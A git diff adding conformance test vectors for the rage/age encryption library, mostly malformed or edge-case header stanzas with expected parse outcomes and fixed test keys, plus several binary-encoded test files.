HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_overflow new file mode 100644 index 0000000000000000000000000000000000000000..03aeb0306dbe370b096a837d4a65ed151f4e4841 GIT binary patch literal 290 zcmW-aO-_SA7(iXm(zr0`X55RwFe8*iliCzPL~SXibVuQX{xcnFTY3TSV4_~22XJrV z8H|ZrcOJpSYToAMZ62&R#B&q(Axc2tG#ZTW1fX;<20Vh&#H>mgjklysCkoRTql6|@ zWrS8KP=68#UKoEc~uBTFarPIy}|GTFbHGGX+)H+t>Z)&WHJ0 bZl33d2S5AW%G1er@wm4cKHThjFX{U)-iKcF literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_trailing_garbage new file mode 100644 index 0000000000000000000000000000000000000000..bf3bfd5f276efbefcfcfe4cf32f1f25f2bfd19c5 GIT binary patch literal 277 zcmW-VO-{l<7(iXm(zq~TGp@B#hM7Q{XaWQ*wpA-X5q4wywX_yG&Qxi=fOjxaFTerZ zn|KCe;?|ualXo)HNiX?aGzEy#A2J8O^#YmB7?Xs9pCO(hd*y9vi zE>snuCaWS~)|}_@=E^=~{-wgz*}61t`lBpe4!mI|T8@;`8v;p^U}_YTbn0|rzOeKK zadSD-3*n4QE85udxke&qHSSI_e_(?ie*L`r*m*Z!y6sbQbnv}@-FrO!svq{Y+5N@t I^f`L_0p?3ut^fc4 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero b/lib/rage/age/tests/testdata/testkit/scrypt_work_factor_zero new file mode 100644 index 0000000000000000000000000000000000000000..9d8c2789748d57166bfa04e515328190ec234455 GIT binary patch literal 272 zcmYeTC`e5%u~NuLO-xBGQbRtPcOeH zUBAqbOV>`J7%ZkxfsSmkRF&GRFG=w9H?Nxl^&YqTAAzS?Hd*m=<1!~ z>+9iTWRf45T9M^y9OCJ0;BQdn9$e^Ulo%SxrK_u}kfv*{mL95Y80F$$P;Bay zXkwaMWf|bCpIemepOa)@X5p3=;TvqhC2e}_S^HgvTULiF*UT@`QT!_rB|XpfZSh=@ OHCeL)gnW0T-2ecb+gnWl literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stanza_bad_start b/lib/rage/age/tests/testdata/testkit/stanza_bad_start new file mode 100644 index 0000000..d040d65 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_bad_start @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-- stanza + +--- lpxzkyQGe/sA7F1yh4c6KVZV7//jANm5lYefTToioXs +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_base64_padding b/lib/rage/age/tests/testdata/testkit/stanza_base64_padding new file mode 100644 index 0000000..18ad2d2 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_base64_padding @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUE= +--- OtG7IuNHaf2SHZuowmxg/fhbhtz0/DI5g5OGd7WH7S0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_argument b/lib/rage/age/tests/testdata/testkit/stanza_empty_argument new file mode 100644 index 0000000..cb9ef0b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_argument @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza argument + +--- bosBxVRBzKF9emyxQ9BERq7+D5JKU+lvbEsL8UHJ/SA +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_body b/lib/rage/age/tests/testdata/testkit/stanza_empty_body new file mode 100644 index 0000000..cf8ec9b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_body @@ -0,0 +1,12 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> empty + +--- 697zSC9pa/ZLNIaXGtuwcUobmxv+Dpx48Hv0papk5c0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line b/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line new file mode 100644 index 0000000..30a6c8f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_empty_last_line @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB + +--- cb4SqtunSJzXKDGjqeYxuva9Be80QXEDKDn2aKBaCsw +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_invalid_character b/lib/rage/age/tests/testdata/testkit/stanza_invalid_character new file mode 100644 index 0000000..d5c8b43 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_invalid_character @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza è + +--- sTIB/0Fc74rhpjC4RAxoR3E01eVTTnWruaD+c5QWjKI +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_long_line b/lib/rage/age/tests/testdata/testkit/stanza_long_line new file mode 100644 index 0000000..5435260 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_long_line @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: a body line is longer than 64 columns + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + +--- tnRUR2vmmU92czsjnioF5ujgXUetUhzUoQPPGT9wmug +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_missing_body b/lib/rage/age/tests/testdata/testkit/stanza_missing_body new file mode 100644 index 0000000..4c184c7 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_missing_body @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: every stanza must end with a short body line, even if empty + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> empty +--- CDgFIIJ1wE4CpW6zG+LVZ6/G/RCNTH6ZUVGp2NbeIkU +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line b/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line new file mode 100644 index 0000000..58774f4 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_missing_final_line @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: every stanza must end with a short body line + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- GRjUy1ShNhFoV3cQikdtUZqDeDEZSrbtNXUgDtDbwC8 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines b/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines new file mode 100644 index 0000000..e191764 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_multiple_short_lines @@ -0,0 +1,13 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: a short body line ends the stanza + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- ct87HSIMoTC4nUsQva+8AeKc2bK2q8b9sPjRhjuf1us +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_no_arguments b/lib/rage/age/tests/testdata/testkit/stanza_no_arguments new file mode 100644 index 0000000..a667ad9 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_no_arguments @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> + +--- B0qjnUjVajTa8I4Uia49g1c4DMQQN6u9m9QOSS1HLks +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_not_canonical b/lib/rage/age/tests/testdata/testkit/stanza_not_canonical new file mode 100644 index 0000000..f7794aa --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_not_canonical @@ -0,0 +1,12 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB +QUF +--- nQM2VCzmNLPrUurNWN+SW9wVp/9uTMQ/6CTUM7l8c84 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr b/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr new file mode 100644 index 0000000..b85c2ce --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_spurious_cr @@ -0,0 +1,11 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +-> stanza +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--- MZaFAh8ldzU0F88NJjLx5yd7fnd57XS5COowmgvQtXQ +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stanza_valid_characters b/lib/rage/age/tests/testdata/testkit/stanza_valid_characters new file mode 100644 index 0000000..c506f30 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stanza_valid_characters @@ -0,0 +1,14 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> !"#$%&' ()*+,-./ 01234567 89:;<=>? @ABCDEFG HIJKLMNO + +-> PQRSTUVW XYZ[\]^_ `abcdefg hijklmno pqrstuvw xyz{|}~ + +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- x538z9xJq9XEK1aTTTv80aWDVvVdROvaXn2tpqXPC8g +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_bad_tag b/lib/rage/age/tests/testdata/testkit/stream_bad_tag new file mode 100644 index 0000000..ce8189a --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_bad_tag @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûF \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk b/lib/rage/age/tests/testdata/testkit/stream_bad_tag_second_chunk new file mode 100644 index 0000000000000000000000000000000000000000..21ec15e069e914be95ed8fad68b68968c18d56e5 GIT binary patch literal 65982 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 